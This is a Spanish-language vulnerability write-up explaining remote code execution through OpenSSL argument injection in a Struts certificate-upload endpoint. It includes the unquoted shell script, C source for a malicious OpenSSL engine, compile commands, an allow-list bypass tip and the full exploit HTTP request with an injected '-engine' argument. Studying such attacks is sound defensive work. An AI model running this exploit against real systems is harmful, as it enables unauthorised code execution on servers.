Cuando seleccionamos un dominio como objetivo, y en la toma de huellas dactilares encontramos que el aplicación web funciona con java en el backend. Es interesante buscar archivos como struts.xml para agrandar aun mas la superficie de ataque.
Struts es un framework web (MVC) orientado a tecnologías java. En este archivo define algunas configuraciones del sitio. Entre ellas hay una en particular que puede ser de gran utilidad para un atacante. El elemento <action>.
Es un archivo de configuración XML para especificar la relación entre una URL, una clase Java y una página de vista (como index.jsp).
<?xml version="1.0" encoding="UTF-8"?>
http://struts.apache.org/dtds/struts-2.5.dtd">
<struts>
<constant name="struts.devMode" value="true" />
<package name="basicstruts2" extends="struts-default">
<action name="index">
<result>/index.jsp</result>
</action>
</package>
</struts>
Lo anterior significa que cuando un usuario ingresa a:
(http || https)://domain.com/index.action
Debe redirigir al navegador a:
(http || https)://domain.com/index.jsp
Teniendo esto claro, lo que un atacante puede lograr con esto es realizar una fuerza bruta a estas URL encontradas en los elementos <action> del archivo struts.xml para posteriormente analizar sus respuestas y dirigir/ampliar un poco mas su proceso de auditoria.
Entre tantas URL que respondían con un código de estado HTTP 302 que redirigían hacia la pagina de inicio de sesión, el investigador noto que había una URL que devolvía 200 junto con el siguiente mensaje:
No se ha cargado ningún archivo
La URL era la siguiente:
/tips/tipsSimulationUpload.action
Este punto final se usaba para la carga de archivos de certificado.
Básicamente era una pagina web que te permitía elegir un archivo .pfx y una contraseña para descifrarlo.
El código de manejo de certificados es un área gratificante
de auditar, ya que los desarrolladores a menudo usan el
binario de OpenSSL, en lugar de manejar el certificado
utilizando una biblioteca de código.
Cuando se carga un certificado del cliente en la llamada al punto final, el contenido se copia en un archivo temporal en el /tmp/
directorio. El archivo temporal se creó utilizando la función de java createTempFile
, que le da al archivo temporal un nombre aleatorio y una extensión fija, de modo que el archivo se ve así. /tmp/clientCertFile{RAND}.txt
Esto significa que no tenemos la capacidad de controlar el nombre del archivo, solo el contenido.
Una vez que se copió el contenido del certificado en el archivo temporal, el código intentó "validar" el certificado del cliente determinando si el parámetro de contraseña en la solicitud podía descifrar el certificado. Esto se realizó pasando el nombre del archivo temporal y la contraseña como argumentos a un script de shell, que llamó openssl pkcs12
y verificó si regresó correctamente o no.
El script de shell se ve así:
verifyClientCertFile.sh
#! /bin/bash
openssl pkcs12 -in $1 -passin pass:$2 -noout -nokeys > /dev/null
-
-passin, sirve para introducir una contraseña en el archivo de entrada, para poder descifrarlo.
-
-passout, sirve para configurar una contraseña en un archivo de salida, con el animo de agregar una capa de protección.
Desafortunadamente para los atacantes, este script de shell se invoca desde Java dividiendo los argumentos en una matriz de cadenas y luego pasando la matriz a ProcessBuilder. Bajo el capó, ProcessBuilder usará execve en un String[], lo que evita la inyección de comandos.
Sin embargo, como el argumento "pass" en el verifyClientCertFile.sh script no está entre comillas, tenemos la capacidad de inyectar argumentos a OpenSSL, lo que puede resultar en la ejecución de código arbitrario. Esto es algo que se ha detallado más en la siguiente publicación de inyección de argumentos de OpenSSL del investigador de seguridad dozernz.
A) Poder colocar un archivo en el disco que se puede interpretar como un engine de OpenSSL.
B) Poder proporcionar y controlar el -engine
argumento a OpenSSL.
El investigador descubrió que la carga del certificado no se validó para ver si era o parecía un certificado; simplemente se colocó en el archivo temporal tal como está y luego se pasó al script de validación. Por supuesto, el problema aquí es que no conocemos el nombre del archivo cargado, ya que se genera aleatoriamente.
Con esto, sabemos que podemos entonces cargar un engine malicioso para explotar este fallo sin problema alguno, debido a que el sistema no valida si lo que estamos cargando es en verdad un archivo .pfx ( Personal Information Exchange ).
Por lo tanto, ya tenemos el requisito A para explotar esta vulnerabilidad.
En cuanto al requisito B, el investigador se dio cuenta de que el argumento de la contraseña se pasa sin comillas a través de un script de shell. Con ello, podemos usar el carácter comodín *, que se expandirá. Esto significa que en realidad no necesitamos saber el nombre del archivo cargado; simplemente podemos pasar una ruta como /tmp/clientCertFile*.txt
y el script de shell lo sustituirá por una ruta válida.
Esta falta de comillas significa que podemos inyectar el parámetro -engine
después de poner la contraseña, para hacer referencia al engine malicioso de OpenSSL cargado previamente como como un certificado.
'a' -engine /tmp/clientCertFile*.txt
Siempre debemos indicar una ruta ya sea relativa/absoluta cuando
configuremos la ubicación del engine en el sistema de
archivos destino.
No hacerlo, puede desencadenar un error, impidiendo así la
explotación.
En este momento hemos cumplido los dos requisitos para explotar esta vulnerabilidad, ahora solo nos queda configurar el ataque y enviarlo.
Para construir nuestro engine malicioso debemos compilar el siguiente código escrito en C:
#include <unistd.h>
__attribute__((constructor))
static void init() {
execl("/bin/sh", "sh", "-c","echo 'arbitrary code'");
}
El comando para compilarlo es el siguiente:
gcc -fPIC -o engine.o -c engine.c
Esto lo que hará sera compilar el código fuente engine.c en el código objeto engine.o
Luego lo que debemos hacer es crear la librería dinámica (.so en linux, .dll en windows):
gcc -shared -o engine.so -lcrypto engine.o
Todo este proceso en un solo comando se ve de la siguiente manera:
gcc -fPIC -o engine.o -c engine.c && gcc -shared -o engine.so -lcrypto engine.o
Tenga en cuenta que la librería dinámica (al menos en el caso de linux) no necesita terminar en .so, esto es bueno ya que de esta forma podemos saltar filtros de seguridad, cuando el backend solo admite archivos que tengan extensiones permitidas en sus listas blancas. (en este caso, cuando el contenido de la librería dinámica se reescribe en el directorio /tmp
con la extensión .txt)
Con todos los instrumentos ya solo nos queda lanzar el ataque, la solicitud se ve de la siguiente manera:
POST /tips/tipsSimulationUpload.action HTTP/1.1
Host: example.com
Connection: close
Content-Length: 16425
Cache-Control: max-age=0
Origin: https://192.168.200.81
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; charset="utf-8"; boundary=----WebKitFormBoundarySCYwHjrAcRBmbkPK
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
------WebKitFormBoundarySCYwHjrAcRBmbkPK
Content-Disposition: form-data; name="clientPassphrase"
'a' -engine /tmp/clientCertFile*.txt
------WebKitFormBoundarySCYwHjrAcRBmbkPK
Content-Disposition: form-data; name="uploadClientCertFile"; filename="a.pfx"
Content-Type: application/octet-stream
**[contenido del archivo .so]**
------WebKitFormBoundarySCYwHjrAcRBmbkPK--
Como puede ver, cargamos el contenido de la librería dinámica (engine malicioso en este caso), vemos que la mandamos como un archivo .pfx y sabemos que posteriormente cambiara a un .txt. Esto como ya se ha dicho no afecta en nada al proceso, ya que aun así openssl reconocerá este archivo como un engine valido. Por otro lado vemos que establecemos como contraseña:
'a' -engine /tmp/clientCertFile*.txt
En donde establecemos una contraseña para no romper la sintaxis del comando, y posteriormente configuramos el engine malicioso con el flag de openssl -engine.
Para las personas que no tienen mucha experiencia en linux, pasa que * es un comodín que significa "cualquier cosa", con esto lo que al investigador trata de hacer es ejecutar ese comando para todas las rutas que coincidan con ese patrón.
Si tenemos dos archivos:
- pepe.txt, que contiene => "Hola Mundo"
- lala.txt, que contiene => "Adiós Mundo"
Entonces el ejecutar este comando:
cat *.txt
Devolverá lo siguiente (no importa el orden):
Adios Mundo
Hola Mundo
Como el investigador no conocía el nombre del archivo pero si la extensión y la ruta, entonces ejecuto el comando para todos los archivos que hicieran match con ese patrón.
Bueno espero que haya quedado clara la explotación de este ataque. Es un ataque del año pasado pero es interesante, y muy seguramente sera útil en los momentos en los que te encuentres con una inyección de argumentos en openssl que es un software bastante utilizado en el mundo del desarrollo web.
Quiero dejar claro que la intención de este write-up es complementar y detallar un poco algunos conceptos y detalles del write-up original del investigador dozernz, el cual deje en la sección de referencias. Esto con el motivo de ayudar a la comunidad hispanohablante a entender un poco mas sobre como se puede explotar una inyección de comandos en openssl y como escalar esto a un potencial RCE.
Cuando vaya a crear el archivo .so, debe tener en cuenta que para hacerlo tiene dos opciones:
- Crearlo en la misma maquina afectada
- Crear un entorno en su maquina que coincida con el sistema destino
He escrito una breve documentación, en donde podrás levantar tu propio entorno en docker (para imitar los requerimientos del sistema destino).